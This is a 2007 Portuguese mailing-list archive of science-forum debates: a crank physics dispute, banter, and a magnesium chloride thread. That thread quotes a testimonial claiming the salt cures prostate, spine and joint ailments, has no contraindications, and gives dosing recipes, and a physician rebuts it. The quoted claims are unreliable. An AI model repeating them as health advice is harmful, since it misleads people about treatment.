Sent: Monday, May 28, 2007 9:17 PM
Subject: [ciencialist] Re: (Para joao) MOSCAS E LIVRE ARBÍTRIO


Olá JC, Silvio Cordeiro e meus demais pupilos da C-List,

Zé Carlos: Eu francamente não vejo nada de sobrenatural no Bulcão.
Você vê? Você acha que inteligência é algo sobrenatural???

Silvio: Essa puchada do JC merece ser guardada, depois de gravada no
bronze, entre as obras primas do turiferarismo nacional: Um busto
seu, na praça principal aí da santa terrinha, com esses dizeres
poderia levá-lo a culminâncias dignas da ABL... modestamente, a
endosso.

Manuel: Bem, minha mãe, D. Eunice, sempre me disse que a minha
inteligência era um dom de Deus, o que significa dizer que se trata
de algo sobrenatural.

Já o meu querido Prof. Vianney Mesquita, que escreveu a apresentação
do meu último livro, "Sombras do Iluminismo", afirmou:

"Católico praticamente como sou, porém, só posso é acreditar
piamente, ainda mais, que uma criatura tão bem aquinhoada com a
inteligência e praparo intelectual provém de Deus, é ser criado pela
Mão Divina. Não pode ser de outro jeito!" (BULCÃO, Manuel; "Sombras
do Iluminismo"; Ed. 7Letras; Rio de Janeiro, 2006; p. 16).

Modestiamente, não acredito nessa possibilidade, mas... sei lá!

Bênçãos,
Manuel Bulcão






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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Ferrari: ABC da CIENCIA
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/05/2007 07:03

De: "Ferrari"

> Olá Luiz!

> Antes um pergunta: vc está na lista pedra de roseta?
Que nome usá lá?

L: O que faria vc se não perguntasse? Que tal, de vez em quando, uma resposta coerente!

> Luiz >>> Será que ele sabe o que é carga elétrica e
não quer nos contar?

> --- já contei. o que a fisica chama de carga elétrica
é uma forma de conscientição humana do pulsar
universal.

Léo: Tá vendo minha gente! Acabamos, após séculos de expeculação, sabendo o que vem a ser a carga elétrica. Proponho enviar essa hipótese para a comunidade científica. Em especial, o Alberto Mesquita, terá que alterar sua assinatura pois, realmente, o elétron não é uma carga coulombiana!
Agora é minha vez de aprofundar-me nesse conceito de carga elétrica, com as perguntas:
(1) Então, temos duas formas de 'conscientição'?
(2) O pulsar universal defini os dois tipos de carga?
(3) Por que o elétron é negativo?


> Luiz >>> Quanto tempo ainda vamos suportar essa
mentalidade que nada sabe nem do topo nem do alicerce
de um conhecimento científico? Vamos ficar respondendo
perguntas sem qualquer contexto?

> --- Ué, use o seu livre-arbitrio de particula cheia
independente do espaço vazio? Ou será que este
livre-arbitrio é apenas uma ilusão, assim como a
independencia das particulas?

L: Vc não respondeu nada! Apenas fez duas novas perguntas. A primeira errada, pois é exclamativa e não interrogativa. A segunda errada, pois as partículas não têm nada a ver com livre-arbítrio e nem mesmo proclamaram sua independência.

L: Todavia, vc não está memorizando nem mesmo as coisas que escreve; lembro-o disso: todos têm memória fotográfica, só que alguns não têm filme.
L: Ou, diga sempre a verdade, mesmo que tenha de mentir um pouquinho.

[]'
Léo



SUBJECT: Re: Nao vai funcionar! Mas, por que?
FROM: César A. K. Grossmann <cesarakg@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/05/2007 11:50

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>

O que acontece quando o tubo que certa o fio metálico atinge o
equilíbrio térmico com o fio metálico?

[]s
--
César A. K. Grossmann



SUBJECT: Re: [ciencialist] Re: O Xadrez do Takata
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/05/2007 14:26

Olá Takata!

Takata >>> Vc sabe ou não resolver?

--- Porque isto lhe importa tanto?

Takata >>> Oras, se vc quer analisar a fórmula...

--- Sim, e dai? Estou analisando a relação entre
matéria e energia, e não entre o conceito fisiques de
matéria e o seu conceito fisiques de energia. não é o
fisiques que cria a realidade, é? pois, então, é por
tentar entender minha analise usando o fisiques que vc
não entende o que digo. no fisiques, matéria é
particula cheia no espaço vazio. no meu conceito,
matéria é indivizivel. isto faz toda a diferença pra
entender o comportamento da matéria.

Takata >>> ... e convencer de q sua interpretação é
correta...

--- Takata, certo e errado depende da teoria que vc
usa pra verificar, classificar, enquadrar a realidade.
Se pego uma maça na mão e digo isto é uma fruta, vc
pode dizer que estou louco, que estou errado. Que,
segundo o fisiques, a maça não é uma fruta, a maça é
um corpo. Mas então, a maça é fruta ou é corpo? A maça
não é nenhuma coisa nem outra, a maçã é realidade,
fruta e corpo são apenas teorias onde encaixamos a
realidade. Somos nós que encaixamos a realidade no
fisiques ou noutra teoria. Ela não vem encaixada de
fabrica. Como lhe digo, o carro é indivisivel, na
prática, é vc quem faz a divisão, na teoria. Assim,
minha imterpretação não é correta, nem incorreta, é
minha interpretação, só isto. Porém, ela responde
perguntas que o fisiques não responde, assim como
"fruta" responde questões que "corpo" não responde.
Entende isto?

Takata >>> precisa demonstrar q a conhece.

--- Eu não preciso nada. Quem quer que quer é vc,
então, vc que satisfaça seu próprio desejo. O problema
e o desejo é seu. Com todo o respeito.

Takata >>> Nada mais direto para demonstrar
familiaridade com a fórmula do q saber aplicá-la
corretamente.

--- Vc quer que eu lhe mostre que eu falo fisiques.
Mas e vc, vc fala fisiques? Vc fala fisiques bem
mesmo? Vc é o cara que fala fisiques melhor do mundo?
Ninguém é capaz de falar fisiques melhor do que vc? É
isto? Quer que eu lhe dê os parabéns por isto?
Parabéns Takata! Vc fala fisiques bem pra caramba. Vc
é o fisiques em pessoa! Assim como não existe líquido
sem molhado, não existe fisiques sem Takata.
Satisfeito agora?

Takata >>> Do contrário vc será um pedreiro q não sabe
o q é um tijolo (ou argamassa, ou concreto, ou
edificação, etc).

--- Se é nesta teoria que vc deseja me encaixar, fique
a vontade. Pela enesima vez: é vc quem faz a divisão,
e nada posso fazer contra isto.


sinceramente
ferrari


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SUBJECT: Re: O Xadrez do Takata
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/05/2007 14:47

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> Takata >>> Vc sabe ou não resolver?
>
> --- Porque isto lhe importa tanto?

Já respondi. Repito: porq vc quer analisar a fórmula. Precisa então
demonstrar q entende a fórmula. Um indicador disso é saber usá-la.

> Takata >>> Oras, se vc quer analisar a fórmula...
>
> --- Sim, e dai? Estou analisando a relação entre
> matéria e energia, e não entre o conceito fisiques de
> matéria e o seu conceito fisiques de energia.

Responda ao exercício. Do contrário será um pedreiro q não sabe o q é
tijolo, um padeiro q não sabe o q é farinha. Enfim, será apenas o
Ferrari tentando falar sobre a natureza.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Fala sério, Ferrari: ABC da CIENCIA
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/05/2007 15:38

Homero,

O que posso te dizer? Apenas o mesmo de sempre: vc
está na caverna de platão olhando pra parede. Assim,
não adianta reclamar das sombras, são ilusões. Olhe
pra fogueira, que é a razão de ser das sombras, e tudo
se resolve por si só. Meu limite é apontar pra
fogueira. Mas se vc insiste em continuar olhando pras
sombras, o que posso fazer? Transformar sobra em luz?
Não é possivel.

Vou apontar algumas coisas aqui no seu post.

Homero >>> Sinceramente? Você é completamente doido,
varrido..:-)

--- E dai?

Homero >>> Mas tem um ego gigantesco

--- E dai?

Homero >>> uma certeza inabalável de que só você "viu
a verdade", e que só seu "intelecto superior" pode
perceber erros crassos, óbvios, de gente como Hawking
e Einstein.

--- E dai?

Homero >>> Não é o primeiro, e não será o último, mas
é um dos que incomoda mais (não por nos "contar a
verdade que recusamos enxergar", mas simplesmente por
não falar coisa com coisa, com ares de grandes
sabedorias...

--- E dai? Homero, o que lhe incomoda é que tudo o que
defendo, diz nas entrelinhas que "deus existe" e é
isto que realmente lhe incomoda.

--- Homero, quer vc admita, quer não, a ciencia estuda
deus. Isto é a coisa mais obvia que existe. Só que pra
distanciar a razão da emoção, as doutrinas religiosas
do método cientifico, a ciencia usa outras palavras,
só isto.

Homero >>> Desculpe o mau jeito, mas esta m... vale
tanto quanto afirmar que "elétrons são geléia de
framboesa excretadas por poros da pele de anjos
celestiais"..:-)

--- Não, não é. É apenas dizer que o mapa não é o
território. E dizer que particula é não é um
território, mas um mapa.

Homero >>> Prove suas alegações, Ferrari, mostre
evidências que possamos verificar

a) o fato do takata não conseguir dividir o carro, por
exemplo, é uma evidencia da matéria indivisivel.
b) o fato do fluxo se eletrons pelo fio não ser como
gotas d´agua por um cano oco, é evidencia de que a
matéria pulsa
c) o fato deste monitor de computador ai na sua frente
não estar dentro da sua cabeça, é evidencia de que o
mapa não é o território

Homero >>> mostre no que isso resulta

a) matéria é indivisivel
b) a matéria pulsa
c) o que a fisica chama de particula cheia no espaço
vazio é fruto da intelectualização da realidade

Homero >>> Diga o que fazer com esse "conhecimento"
fantástico, ou pare de enrolar e chatear!

--- Primeiro, não tem nada de fantástico, é a coisa
mais simples que tem. Depois o uso depende do usuário.
Se quiser usá-lo, use-o para o que vc quiser... e for
possivel.

Homero >>> Perder tanto tempo, tantas mensagens,
tantas mentes capazes tentando explicar para você
todos os seus erros e enganos, mas...

--- (mas)... vc ferrari, seu pecador, irrecuperavel,
analfabeto de fisiques, insiste em achar que sabe mais
do que nós! Como vc, ferrari, um bobo da corte, ousa
discordar de nós... e pior... apontar os nossos
erros... os nossos enganos... e ainda falar que o
nosso rei Stephen Hawking está nu?! Mas que heresia!
Guardas da tabela periódica! Mandem já este infeliz
pra fogueira de tubos de ensaio!



sinceramente
ferrari

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SUBJECT: Re: p/Dr.Loiola - [ciencialist] Cloreto de Magnésio
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: alessandroloiola@yahoo.com.br
CC: ciencialist@yahoogrupos.com.br
DATE: 30/05/2007 15:46

Dr. Loiola,
boa tarde!
Obrigado pela sua consideração, comentários, links e pela sua última frase.
Tento ficar, concientemente, com a lucidez... uma chance de evolução.
Estou copiando sua resposta p/a lista, pq acho que vc não irá se importar e
pq há relevância.
Outras coisas que lí na internet falam da MAIOR atividade e combinação
biológica do cloreto de Mg... parece que outros compostos são bem mais
estáveis.
Obrigado, novamente.
Bom trabalho!
Abraço!
Murilo SP 30/mai07


>From: Alessandro Loiola <alessandroloiola@yahoo.com.br>
>To: murilo filo <avalanchedrive@hotmail.com>
>Subject: Re: p/Dr.Loiola - [ciencialist] Cloreto de Magnésio
>Date: Tue, 29 May 2007 00:47:24 -0300 (ART)
>
>Murilo,
>
> grato pelo voto de confiança. Vamos ver se consigo adicionar algo de
>útil à questão.
>
> O magnésio está diretamente envolvido no metabolismo ósseo, ajudando na
>formação de osso saudável e aumentando a densidade óssea. Estes efeitos o
>tornam um componente importante no tratamento da Osteoporose, especialmente
>nos casos avançados -
>http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?db=pubmed&cmd=Retrieve&dopt=AbstractPlus&list_uids=12916289&query_hl=3&itool=pubmed_docsum
>
> Fora isso, o uso de suplementos de Magnésio possui indicações e
>contra-indicações bastante específicas -
>http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?db=pubmed&cmd=Retrieve&dopt=AbstractPlus&list_uids=2187780&query_hl=3&itool=pubmed_docsum
>.- q pouco ou nada têm a ver com o citado no texto.
>
> Alguns estudos sérios sugerem que suplementos de Magnésio podem reduzir
>a incidência de complicações do Diabetes Melito
>-http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?db=pubmed&cmd=Retrieve&dopt=AbstractPlus&list_uids=10218382&query_hl=3&itool=pubmed_docsum
>,
>
>
>http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?db=pubmed&cmd=Retrieve&dopt=AbstractPlus&list_uids=16978367&query_hl=4&itool=pubmed_docsum
>
> e da hipertensão arterial -
>http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?db=pubmed&cmd=Retrieve&dopt=AbstractPlus&list_uids=16470086&query_hl=4&itool=pubmed_docsum
>
> mas os autores concordam que serão necessários mais e melhores estudos
>para comprovar definitivamente estes efeitos.
>
> O restante do email sobre suplementos de Magnésio se assemelha bastante
>àquela velha mistura de pseudo-ciência com relatos testemunhais q faz tanto
>sucesso na Internet.
>
> É uma pena. Esse tipo de texto possui um efeito adverso sobre a Medicina
>Natural e a Fitoterapia ao ajudar a perpetuar a áura de curandeirismo
>neolítico que insiste em envolver uma das mais fascinantes áreas da
>pesquisa biomédica.
>
> O q só nos faz chegar a uma conclusão óbvia: a Lucidez é uma sina. A
>ignorância, uma benção.
>
> Um abraço,
>
> A.
>
>
>
>
>murilo filo <avalanchedrive@hotmail.com> escreveu:
> Caro Dr. Loiola,
>boa tarde!
>Sou seu leitor no ciencialist e gosto de suas matérias.
>Veja o texto abaixo, enviado por um listeiro.
>Maravilha? Se 10% for verdade, acho que é!
>Trata-se de MgCl²-6H²O.
>Fácil de ser experimentado e de ser conferido.
>Nenhum membro do forum até agora comentou...
>Mais tarde, gostaria de saber sua opinião sobre este sal que parece ser
>biologicamente muito ativo.
>Muito obrigado!
>Abraço!
>Murilo
>SP 28/mai07
>
>
> >From: João Batista Ferreira de Andrade
> >Reply-To: ciencialist@yahoogrupos.com.br
> >To: ciencialist@yahoogrupos.com.br
> >Subject: Re: [ciencialist] Cloreto de Magnésio
> >Date: Sat, 26 May 2007 09:36:32 -0300 (ART)
> >
> >Olá, caros listeiros
> >
> > Revendo esta mensagem, gostaria de informar que faço uso do CLORETO DE
> >MAGNÉSIO - atualmente sem "PA " ( Para análise ), com bons
>resultados...E,
> >pelo que tenho pesquisado, o seu consumo é muito grande entre a
>população.
> >Antes, os frascos traziam o tal "PA"...
> >
> > No livro A SAÚDE brota da natureza, do Professor Jaime Bruning ( pag.
> >191 ), o Padre Beno Shorr alerta para só comprar o CLORETO DE MAGNÉSIO
>PA,
> >aquele usado em laboratório. Ele diz que o de farmácia, sem especificação
> >de pureza e sem ser "PA ", não serve para consumo, e depois de alguns
>anos
> >de uso, facilmente gera um CÂNCER, devido ao acúmulo no organismo dos
> >metais pesados que contém, como chumbo e outros.
> >
> >
> >...............................................................................................................
> > ALERTA: se assim for, teremos, brevemente, uma EPIDEMIA de CÂNCER pelo
> >Brasil afora, pois, as embalagens vendidas nas farmácias, em geral, não
> >apresentam a tal especificação "PA "...E informam que têm Autorização de
> >Funcionamento M S 101 706. Pelo Tel SAC 0800 11 60 32, fui informado pelo
> >"Químico" da área de fabricação que não era mais necessária esta
>informação
> >"PA " no rótulo, pois foram dispensados pelos órgãos fiscalizadores da
> >SAÚDE PÚBLICA!...E, que em breve, remeteria uma justificativa técnica
>para
> >o meu conhecimento...Estou aguardando por mais de um ano...
> >
> >.................................................................................................................
> >
> > E agora, José?...
> >
> > Alguém tem o e-mail do Padre J. Shorr para trocarmos algumas
> >figurinhas?!...
> >
> > Obrigado
> >
> > João Batista ferreiraandrade2000@yahoo.com.br
> >
> >
> >
> >José Renato escreveu:
> > Olá! Alguém já teve experiência de recuperação e cura de alguma doença
> >ou sintoma usando cloreto de magnésio? Lembro que o Deputado Ulisses
> >Guimarães usava-o diariamente e se dizia fã de algum remédio com
>magnésio.
> >
> >Abraços
> >
> >José Renato
> >
> >.......................................
> >
> >
> >
> >Cloreto de Magnésio
> >
> >
> >
> >J. Shorr *
> >
> >Quem sofre de bico de papagaio, nervo ciático, coluna e calcificação
>podem
> >se curar de forma perfeita, indolor, fácil e barata. E tem, ao mesmo
> >tempo, a cura de todas as doenças causadas pela carência de cloreto de
> >magnésio no passado, até a artrose.
> >Iniciei minha cura aos 61 anos. Dez anos antes, eu estava quase
> >paralítico, sentia pontadas agudas na região lombar - um bico de papagaio
> >incurável, segundo o médico. Mas reparei ser reumatismo, que curei com
> >Ketacil, esquecendo-me, então, do bico de papagaio que antes já provocava
> >um peso crescente na barriga da perna direita. Após cinco anos, o peso
> >virou dor e, apesar de todos os tratamentos, só aumentava. Dois anos
> >depois atinei com a causa: mal me levantava da cama um formigamento
>descia
> >pela perna até os pés. Ao abaixar-me, o formigamento cessava; erguia-me
> >ele voltava. Repeti as duas posições. Deduzi que só poderia ser aquele
> >bico de papagaio, que apertava o nervo ciático na terceira vértebra,
> >quando em pé; curvando-me, lhe dava folga. Fiz então meus trabalhos, o
> >mais possível sentado. Havia anos que fazia tudo sentado, menos a missa,
>o
> >que era um tormento. E adiava a viagem à ilha de Marajó, onde devia
> >completar a rede de rádio-telefonia de 48 estações em 6
> >Estados. Após seis meses, viajei, esperando melhorar naquele eterno
> >verão.
> >Mas piorou de vez. Rezava a missa sentado e sentado orientava meus
> >ajudantes a montar os mastros e esticar as antenas por cima dos telhados.
> >Sem tardar, voltei a Florianópolis com novas radiografias e procurei um
> >especialista. Agora já era um bando de bicos de papagaios, calcificados,
> >duros em grau avançado. Nada se poderia fazer. As dez aplicações de ondas
> >curtas e distensões da coluna não detiveram a dor, a ponto de nem mais
> >deitado eu poder dormir. Ficava sentado, até quase cair da cadeira, de
> >tanto sono. Foi quando atinei que podia dormir enrolado ou sentado para
> >fugir da dor. E então? Assim, desenganado, apelei ao bom Deus. "Estás
> >vendo a tua criatura"?
> >Não lhe custava dar um jeitinho...
> >Providencialmente, fui ao Encontro dos Jesuítas Cientistas, em Porto
> >Alegre, e o Padre Suarez me disse ser fácil à cura com cloreto de
> >magnésio, mostrando-me o pequeno livro do Padre Puig, jesuíta espanhol
>que
> >descobriu o uso do cloreto de magnésio: sua mão era dura de tão
> >calcificada, mas, com este sal, ficou móvel como a de uma menina; o mesmo
> >aconteceu com parentes seu. E brincando, ele disse: "Com este sal só se
> >morre dando um tiro na cabeça ou por acidente". Em Florianópolis, logo
> >comecei a tomar uma dose pela manhã e uma à noite; mesmo assim continuei
> >dormindo encolhido até o 20º dia; naquela manhã, porém, acordei estirado
> >na casa, sem dor. Mas caminhar ainda era um sofrimento. Depois de 30
>dias,
> >eu me levantei sentindo-me estranho: "Será que estou sonhando? Nada mais
> >me doía! Dei até uma voltinha pela cidade, sentindo, contudo, o peso de
>10
> >anos antes. Aos 40 dias caminhei o dia inteiro sentindo menos peso; três
> >meses depois minha flexibilidade aumentava. Dez meses
> >já se passaram e me dobro quase como uma cobra".
> >Outros efeitos: O cloreto de magnésio arranca o cálcio dos lugares
> >indevidos e o fixa solidamente nos ossos. Ainda mais: minha pulsação que
> >sempre estava abaixo de 40 - eu já pensava em marca passo -
>normalizou-se.
> >O sistema nervoso ficou motorialmente calmo, ganhei maior lucidez, meu
> >sangue estava descalcificado e fluido. As freqüentes pontadas do fígado
> >desapareceram. A próstata, que eu deveria operar assim que tivesse uma
> >folga nos trabalhos, já não me incomoda muito. Houve ainda outros
>efeitos,
> >a ponto de várias pessoas me perguntarem: "O que está acontecendo com
> >você?" Está mais jovem!
> >"É isso mesmo". Voltou-me a alegria de viver. Por isso, me vejo na
> >obrigação de repartir o "jeitinho" que o bom Deus me deu. Centenas se
> >curaram em Santa Catarina depois de anos de sofrimento com males da
> >coluna, artrose etc.
> >Importância do cloreto de magnésio: O cloreto de magnésio produz o
> >equilíbrio mineral, anima os órgãos em suas funções (catalisadoras), como
> >os rins, para eliminar o ácido úrico nas artroses; descalcifica até as
> >finas membranas nas articulações e as escleroses calcificadas, evitando
> >enfartes; purificando o sangue vitaliza o cérebro, desenvolve ou conserva
> >a juventude até alta idade. O cloreto de magnésio é, de todos os sais, o
> >menos dispensável, como o professor na aula.
> >Uso: após os 40 anos, o organismo absorve sempre menos cloreto de
> >magnésio, produzindo velhice e doenças. Por isso deve ser tomado conforme
> >a idade: dos 20 anos aos 55 anos 1/2 dose, ou seja, meio cálice; dos 55
> >anos aos 70 anos, uma dose (um cálice), dos 70 anos aos 100, uma dose
>pela
> >manhã e 1 dose à noite.
> >Atenção: Para quem vive na cidade e ingere alimentos de baixa qualidade
> >(refinados e enlatados) recomenda-se uma dose um pouco maior, e para
> >pessoas do campo um pouco menos. O cloreto de magnésio não cria hábito,
> >mas ao deixá-lo perde-se a proteção. Com o uso do cloreto de magnésio há
> >tendência à eliminação das doenças e uma diminuição significativa do
> >desgaste natural.
> >Só não se deixe levar pelo comodismo, até que uma doença se instale;
> >porque viver com dores e mal estar se é possível gozar de uma saúde
> >radiante?
> >O cloreto de magnésio não é remédio, mas alimento. E não tem
> >contra-indicação. É compatível com qualquer medicamento simultâneo. O
> >adulto precisaria obter dos alimentos o equivalente a três doses; se não
> >conseguir, pode aumentar um pouco a dose diária para não adoecer;
> >dificilmente se ultrapassa o limite, pois as doses indicadas para pessoas
> >de 40 a 100 anos são mínimas.
> >O cloreto de magnésio põe em ordem todo o corpo e é indicado para homens
>e
> >mulheres. No caso das mulheres ele ajuda a prevenir osteoporose.
> >Recomendações: Quem sofre de bico de papagaio, obesidade, nervo
> >ciático, coluna, arteriosclerose, rins, calcificação, surdez por
> >calcificação, deve iniciar o tratamento com uma dose pela manhã, uma dose
> >à tarde, uma dose à noite.
> >Quando curado, deve-se tomar o cloreto de magnésio como preventivo, isto
> >é, conforme a idade.
> >Artrose: o ácido úrico se deposita nas articulações do corpo, em
> >particular nos dedos, que até incham. Isso resulta de uma falha no
> >funcionamento dos rins, justamente por falta do cloreto de magnésio.
>Tenha
> >cautela: se um rim talvez já esteja se deteriorando, tome apenas uma dose
> >pela manhã. Se em 20 dias não sentir melhoras e não cessar a
>anormalidade,
> >tome uma dose pela manhã e uma dose à noite. Depois de curado, continue
> >com as doses normais, como preventivo.
> >Próstata: aqui vou citar um exemplo. Um homem muito idoso já não
> >conseguia urinar. Algum tempo antes da operação, lhe deram cloreto de
> >magnésio como preparação, e ele começou a melhorar. Depois de uma semana
> >sentia-se bem, e a operação foi cancelada. Há casos em que a próstata
> >regride, às vezes, ao normal, tomando-se 2 doses pela manhã, duas doses à
> >tarde, duas doses à noite. Ao melhorar, tome a dose preventiva.
> >Outros problemas: como reumatismo, rigidez muscular, impotência sexual,
> >câimbras, tremores, frigidez, artérias duras, falta de atividade
>cerebral,
> >sistema nervoso: uma dose pela manhã, uma dose à tarde, uma dose à noite.
> >Sentindo-se melhor, passar para a dose preventiva.
> >Preparo: como preparar e usar a solução de cloreto de magnésio:
> >dissolver 33 gramas de cloreto de magnésio (essa dosagem já está à venda,
> >em farmácias - em 2004 custava 1,20) em 1 litro de água filtrada (melhor
> >fervida). Depois de bem misturado, colocar em vasilhames de vidro (não de
> >plástico) e guardar na geladeira. A dose é um cálice de licor segundo a
> >idade: dos 20 anos aos 55 anos 1/2 dose, ou seja, meio cálice; dos 55
> >anos, aos 70 anos, uma dose (um cálice), dos 70 anos aos 100, uma dose
> >pela manhã e 1 dose à noite.
> >Onde encontrar: em farmácias de produtos naturais ou mesmo nas
> >alopáticas.
> >
> >
> >* J. Shorr é padre, Professor de Física, Química e Biologia do Colégio
> >Catarinense / Sta. Catarina.
> >
> >
> >[As partes desta mensagem que não continham texto foram removidas]
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>Dr. Alessandro Loiola, M.D.
>CRMMG 30.278
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>Consultório: +55 (31) 3432 7555
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SUBJECT: Re: [ciencialist] Re: O Xadrez do Takata
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/05/2007 16:12

Olá Takata!

Takata >>> Enfim, será apenas o Ferrari tentando falar
sobre a natureza.

--- É isto mesmo! Sou apenas o Ferrari tentando falar
sobre a natureza... nada mais do que isto... E seria
um prazer conversar com o Takata sobre o mesmo
assunto... Mas quem responde nunca é Takata, é apenas
o fisico que dominou o corpo dele.


sinceramente
ferrari



EXPERIMENTE XIXI COM TINTA (novo livro do Ferrari):
http://www.livrosvirtuais.com.br/vivali.asp?loja=1186&div=&link=VerProduto&Produto=97664

MEU PORTAL:
http://marceloferrari.blogspot.com

Para receber meus textos inéditos (de literatura), envie um email para:
mferrari-subscribe@yahoogrupos.com.br





















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SUBJECT: Re: [ciencialist] Fala sério, Ferrari: ABC da CIENCIA
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/05/2007 16:20

Olá Ferrari

Ferrari: " E dai?
E dai?
E dai?
E dai?
E dai?
E dai?
E dai?"

He, he, he..:-) E daí que existem centenas, milhares de malucos pelo mundo a alegar coisas sem pé nem cabeça como você, coisas que são contrárias as que você prega, e nenhum deles, como você, é minimamente relevante ou pode apresentar evidências de suas alegações..:-)

Alguns, muitos, estão internados em hospícios, com a certeza de terem "encontrado a verdade", outros estão enchendo o saco em listas de discussão, tentando converter os "malvados e cegos cientistas ateus", muitos fundaram igrejas, seitas e cultos, e estão ganhando rios de dinheiro. Todos tem em comum a certeza de terem a "verdade verdadeira, óbvia, que só é negada pelos tolos que se recusam a ver" e a arrogância de pensar que sabem mais que todo resto da humanidade e que todos os cientistas juntos..:-)

Também são muito chegados a "jogos de palavras", distorcendo termos e definições, afrouxando seu rigor, para confundir leigos e pessoas mais desavisadas e ingenuas (não é o caso da maioria da lista, você está perdendo tempo aqui, o seu e o nosso..:-).

Você quer fundar um religião, Ferrari, não discutir física. Sua alegação de que a "ciência estuda deus" é de uma tolice simplificantemente atróz, de dar pena (bem, não tenho pena de você, na verdade, você faz por merecer toda a gozação..:-).

Ferrari: "a) o fato do takata não conseguir dividir o carro, por
exemplo, é uma evidencia da matéria indivisivel.
b) o fato do fluxo se eletrons pelo fio não ser como
gotas d´agua por um cano oco, é evidencia de que a
matéria pulsa
c) o fato deste monitor de computador ai na sua frente
não estar dentro da sua cabeça, é evidencia de que o
mapa não é o território"

Um excelente exemplo da conversa de doidos que você tenta empurrar pela garganta da lista. O Takata demonstrou com precisão seu erro no caso do carro e suas partes, usando termos e conceitos bem definidos e precisos, mas você insiste em que ele "não conseguiu", apegado a sua frouxidão lógica e jogos e mais jogos de palavras. A matéria é divisivel, é separada por espaço, e espaço é uma propriedade deste universo, como o tempo. Essa é uma descrição científica do nosso ambiente que explica bem os fenômenos observados. O termo "divisível" está aplicado aqui como a propriedade de encontrar diferentes unidades dentro de um elemento mais abrangente.

O que você tenta fazer, por outro lado, é confundir essas definições e fazer "poesia", que pensa ser uma forma de "grandes revelações". Não, é, é só tolice mesmo.

O fluxo de elétrons, como explicado por muitos na lista, é um fenomeno mais bem explicado e definido pelo eletromagnetismo que por suas tolices sobre "pulso" da matéria. Você na verdade nem entende direito o conceito de pulso, como não entende a fórmula E=mc2, mas pensa poder dar palpite mesmo assim.

O fato do monitor não estar na minha cabeça, NÃO significa que o mapa não é o território, uma frase de impacto que você leu em algum lugar, gostou, e pensa que é a "resposta final para os grandes mistérios do unvierso". Vai ser fã do Paulo (arghhh) Coelho assim no jardim de infância..:-)

Ferrari: "c) o que a fisica chama de particula cheia no espaço vazio é fruto da intelectualização da realidade"

Qua, qua, qua..:-) Cada vez tenho mais certeza de que tira suas frases do Gerador de Frases Aleatórias..:-)

Ferrari: "vc ferrari, seu pecador, irrecuperavel,
analfabeto de fisiques, insiste em achar que sabe mais
do que nós! Como vc, ferrari, um bobo da corte, ousa
discordar de nós... e pior... apontar os nossos
erros... os nossos enganos... e ainda falar que o
nosso rei Stephen Hawking está nu?! Mas que heresia!
Guardas da tabela periódica! Mandem já este infeliz
pra fogueira de tubos de ensaio! "

Você quer mesmo fundar uma religião, não Ferrari?..:-) Pena, aqui na lista vai conseguir no máximo um ou dois adeptos (e acho que não vão querer pagar dízimo.:-)

Não precisamos mandar você para a fogueira, eu me contentaria em ve-lo ir morar em regiões sem nenhum acesso a ciência, tentando "modificar a realidade a partir da conscientição humana" ou coisas do tipo, e com base em seus profundos e verdadeiros conhecimentos sobre o universo (deus, inclusive..:-). Talvez deseje morar em alguma região da África, sem acesso a todo conhecimento que essa tola ciência e seus tolos cientistas produziram em dois ou tres séculos, e viver os mesmos 30 anos (ou menos) de nossos antepassados, com tudo o que isso representa..:-)

Eu ficaria feliz em ve-lo implorar (ou morrer) pelo conhecimento que despreza com tanta arrogância e pretensão..:-)

E, fala sério, acha mesmo que está "apontando os erros e enganos de todos os cientistas e mentes do mundo, nos últimos 3 séculos"??!!??!?! Se pensa mesmo isso, é mais doido do que eu pensaria ser possível..-) Em geral, crackpots e "messias com a verdade verdadeira" se fixam em uma ou no máximo duas personalidades (como Einstein ou Galileu), para refutar, e não alegam ser capazes de demonstrar os erros de TODOS os cientistas do mundo em todas as épocas..:-)

Fala sério, Ferrari..:-)

Homero

PS: Ferrari: " Homero, o que lhe incomoda é que tudo o que defendo, diz nas entrelinhas que "deus existe" e é isto que realmente lhe incomoda. "

Há milhões de pessoas alegando a mesma coisa, sem precisar de entrelinhas, defendendo a existência de milhares de diferentes deuses, ETs, pés grandes, com milhares de diferentes "evidências" (tantas quantas as que dizem que a astrologia é real, que duendes existem, que ETs as abduziram, etc..:-). Se fosse me incomodar com isso, não faria mais nada na vida..:-) Embora me espante que alguém possa ser tão cego e fanático assim, não me incomoda em nada sua fé em seu deus, Ferrari..:-)



[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: O Xadrez do Takata
FROM: "Mauro" <bombaspr@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/05/2007 16:39

Mas quem responde nunca é Takata, é apenas
o fisico que dominou o corpo dele.

Mauro: E houveram pessoas que acharam que ele era um computador na
USP.
Que nada, Takata fala diretamente daquele terreiro da encruzilhada.

Toc, toc, toc. Xô satanás!

Inté+
Mauro



SUBJECT: Re: O Xadrez do Takata
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/05/2007 17:25

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> É isto mesmo! Sou apenas o Ferrari tentando falar
> sobre a natureza...

---------------
Considere a seguinte reação de decaimento de urânio-235:

